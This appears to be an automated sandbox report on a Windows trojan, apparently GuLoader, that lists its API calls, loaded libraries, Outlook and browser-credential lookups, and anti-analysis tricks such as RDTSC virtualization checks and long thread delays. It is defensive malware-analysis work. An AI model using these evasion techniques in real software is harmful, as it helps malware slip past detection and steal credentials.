Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38313F70	4_2_38313F70
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38313F60	4_2_38313F60
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_383167B0	4_2_383167B0
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38310FA8	4_2_38310FA8
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38310F98	4_2_38310F98
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_3831AFF7	4_2_3831AFF7
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_3831AFF8	4_2_3831AFF8
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_383167C0	4_2_383167C0
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_3833D6C1	4_2_3833D6C1
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_3833E790	4_2_3833E790
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_38338328	4_2_38338328

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

Code function: String function: 00402C41 appears 49 times

Source: c7WJL1gt32.exe, 00000000.00000000.1699386894.0000000000455000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs c7WJL1gt32.exe
Source: c7WJL1gt32.exe, 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs c7WJL1gt32.exe
Source: c7WJL1gt32.exe, 00000004.00000002.2954221736.0000000005423000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs c7WJL1gt32.exe
Source: c7WJL1gt32.exe, 00000004.00000002.2978505242.0000000035877000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs c7WJL1gt32.exe
Source: c7WJL1gt32.exe	Binary or memory string: OriginalFilenamesupraocular tailorizes.exeDVarFileInfo$ vs c7WJL1gt32.exe

Source: c7WJL1gt32.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/8@5/5

Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 0_2_004034A5 EntryPoint,LdrInitializeThunk,SetErrorMode,GetVersion,lstrlenA,LdrInitializeThunk,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,LdrInitializeThunk,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,LdrInitializeThunk,ExitWindowsEx,ExitProcess,		0_2_004034A5
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_004034A5 EntryPoint,LdrInitializeThunk,SetErrorMode,GetVersion,lstrlenA,LdrInitializeThunk,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,LdrInitializeThunk,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,LdrInitializeThunk,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,LdrInitializeThunk,ExitWindowsEx,ExitProcess,		4_2_004034A5

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

Code function: 0_2_00404850 GetDlgItem,SetWindowTextW,LdrInitializeThunk,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,LdrInitializeThunk,SetDlgItemTextW,

0_2_00404850

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

Code function: 0_2_00402104 LdrInitializeThunk,CoCreateInstance,LdrInitializeThunk,LdrInitializeThunk,

0_2_00402104

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

File created: C:\Users\user\AppData\Local\Iw

Jump to behavior

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

File created: C:\Users\user\AppData\Local\Temp\nsj8EFB.tmp

Jump to behavior

Source: c7WJL1gt32.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035B23000.00000004.00000800.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035B05000.00000004.00000800.00020000.00000000.sdmp, c7WJL1gt32.exe, 00000004.00000002.2978658417.0000000035B15000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: c7WJL1gt32.exe	Virustotal: Detection: 77%
Source: c7WJL1gt32.exe	ReversingLabs: Detection: 73%

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

File read: C:\Users\user\Desktop\c7WJL1gt32.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\c7WJL1gt32.exe "C:\Users\user\Desktop\c7WJL1gt32.exe"
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process created: C:\Users\user\Desktop\c7WJL1gt32.exe "C:\Users\user\Desktop\c7WJL1gt32.exe"
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process created: C:\Users\user\Desktop\c7WJL1gt32.exe "C:\Users\user\Desktop\c7WJL1gt32.exe"	Jump to behavior

Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: c7WJL1gt32.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.2418431968.00000000050B4000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

Code function: 0_2_6CF11B5F LdrInitializeThunk,GlobalAlloc,LdrInitializeThunk,LdrInitializeThunk,lstrcpyW,lstrcpyW,GlobalFree,LdrInitializeThunk,GlobalFree,GlobalFree,GlobalFree,GlobalFree,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,GlobalFree,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,lstrcpyW,LdrInitializeThunk,LdrInitializeThunk,GetModuleHandleW,LdrInitializeThunk,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_6CF11B5F

Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_3_001949CC push eax; iretd	4_3_001949CD
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_0015A487 push dword ptr [ebp+ecx-75h]; retf	4_2_0015A492
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_0015A4F9 push dword ptr [ebp+ebx-75h]; iretd	4_2_0015A4FD
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_3833C897 push es; retf	4_2_3833C898

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

File created: C:\Users\user\AppData\Local\Temp\nse90B2.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\c7WJL1gt32.exe	API/Special instruction interceptor: Address: 5A287D5
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	API/Special instruction interceptor: Address: 3F887D5

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\c7WJL1gt32.exe	RDTSC instruction interceptor: First address: 59EDBA6 second address: 59EDBA6 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FC72940A704h 0x00000006 test bx, cx 0x00000009 inc ebp 0x0000000a inc ebx 0x0000000b test dx, bx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	RDTSC instruction interceptor: First address: 3F4DBA6 second address: 3F4DBA6 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FC728DFC034h 0x00000006 test bx, cx 0x00000009 inc ebp 0x0000000a inc ebx 0x0000000b test dx, bx 0x0000000e rdtsc

Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Memory allocated: 35A20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Memory allocated: 35690000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 599407	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 599282	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 599172	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 598644	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 598519	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 598391	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 598282	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 598157	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 598032	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 597907	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 597782	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 597563	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 597438	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 597313	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 597063	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 596953	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 596844	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 596719	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 596244	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 596014	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 595891	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 595782	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 595668	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 595547	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 595438	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 595328	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 595219	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 595110	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 594999	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 594875	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 594766	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 594641	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 594531	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 594422	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 594313	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Thread delayed: delay time: 594188	Jump to behavior

Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Window / User API: threadDelayed 1635			Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Window / User API: threadDelayed 8193			Jump to behavior

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nse90B2.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\c7WJL1gt32.exe

API coverage: 3.2 %

Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8096	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\c7WJL1gt32.exe TID: 8100	Thread sleep count: 1635 > 30	Jump to behavior
